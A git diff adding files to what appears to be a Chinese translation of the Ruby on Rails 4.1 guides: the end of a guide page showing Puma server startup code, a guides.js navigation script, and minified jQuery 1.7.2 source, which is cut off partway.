+  :Port => 8080,
+  :Threads => '0:16',
+  :Verbose => false
+}
+
+def self.run(app, options = {})
+  options  = DEFAULT_OPTIONS.merge(options)
+
+  if options[:Verbose]
+    app = Rack::CommonLogger.new(app, STDOUT)
+  end
+
+  if options[:environment]
+    ENV['RACK_ENV'] = options[:environment].to_s
+  end
+
+  server   = ::Puma::Server.new(app)
+  min, max = options[:Threads].split(':', 2)
+
+  puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."
+  puts "* Min threads: #{min}, max threads: #{max}"
+  puts "* Environment: #{ENV['RACK_ENV']}"
+  puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}"
+
+  server.add_tcp_listener options[:Host], options[:Port]
+  server.min_threads = min
+  server.max_threads = max
+  yield server if block_given?
+
+  begin
+    server.run.join
+  rescue Interrupt
+    puts "* Gracefully stopping, waiting for requests to finish"
+    server.stop(true)
+    puts "* Goodbye!"
+  end
+
+end
+
+
+
+

我们没有深入到服务端配置的细节,因为这是我们探索Rails应用初始化过程之旅的终点了。

高层次的阅读将有助于您提高编写代码的水平,成为Rail开发高手。如果你想要知道更多,那么去读Rails的源代码将是你的不二选择。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/javascripts/guides.js b/v4.1/javascripts/guides.js new file mode 100644 index 0000000..e7911a7 --- /dev/null +++ b/v4.1/javascripts/guides.js @@ -0,0 +1,59 @@ +$.fn.selectGuide = function(guide) { + $("select", this).val(guide); +}; + +var guidesIndex = { + bind: function() { + var currentGuidePath = window.location.pathname; + var currentGuide = currentGuidePath.substring(currentGuidePath.lastIndexOf("/")+1); + $(".guides-index-small"). + on("change", "select", guidesIndex.navigate). + selectGuide(currentGuide); + $(document).on("click", ".more-info-button", function(e){ + e.stopPropagation(); + if ($(".more-info-links").is(":visible")) { + $(".more-info-links").addClass("s-hidden").unwrap(); + } else { + $(".more-info-links").wrap("
").removeClass("s-hidden"); + } + }); + $("#guidesMenu").on("click", function(e) { + $("#guides").toggle(); + return false; + }); + $(document).on("click", function(e){ + e.stopPropagation(); + var $button = $(".more-info-button"); + var element; + + // Cross browser find the element that had the event + if (e.target) element = e.target; + else if (e.srcElement) element = e.srcElement; + + // Defeat the older Safari bug: + // http://www.quirksmode.org/js/events_properties.html + if (element.nodeType === 3) element = element.parentNode; + + var $element = $(element); + + var $container = $element.parents(".more-info-container"); + + // We've captured a click outside the popup + if($container.length === 0){ + $container = $button.next(".more-info-container"); + $container.find(".more-info-links").addClass("s-hidden").unwrap(); + } + }); + }, + navigate: function(e){ + var $list = $(e.target); + var url = $list.val(); + window.location = url; + } +}; + +// Disable autolink inside example code blocks of guides. +$(document).ready(function() { + SyntaxHighlighter.defaults['auto-links'] = false; + SyntaxHighlighter.all(); +}); \ No newline at end of file diff --git a/v4.1/javascripts/jquery.min.js b/v4.1/javascripts/jquery.min.js new file mode 100644 index 0000000..93adea1 --- /dev/null +++ b/v4.1/javascripts/jquery.min.js @@ -0,0 +1,4 @@ +/*! jQuery v1.7.2 jquery.com | jquery.org/license */ +(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"":"")+""),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;e=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
a",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="
"+""+"
",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="
t
",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="
",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function( +a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&j.push({elem:this,matches:d.slice(e)});for(k=0;k0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var 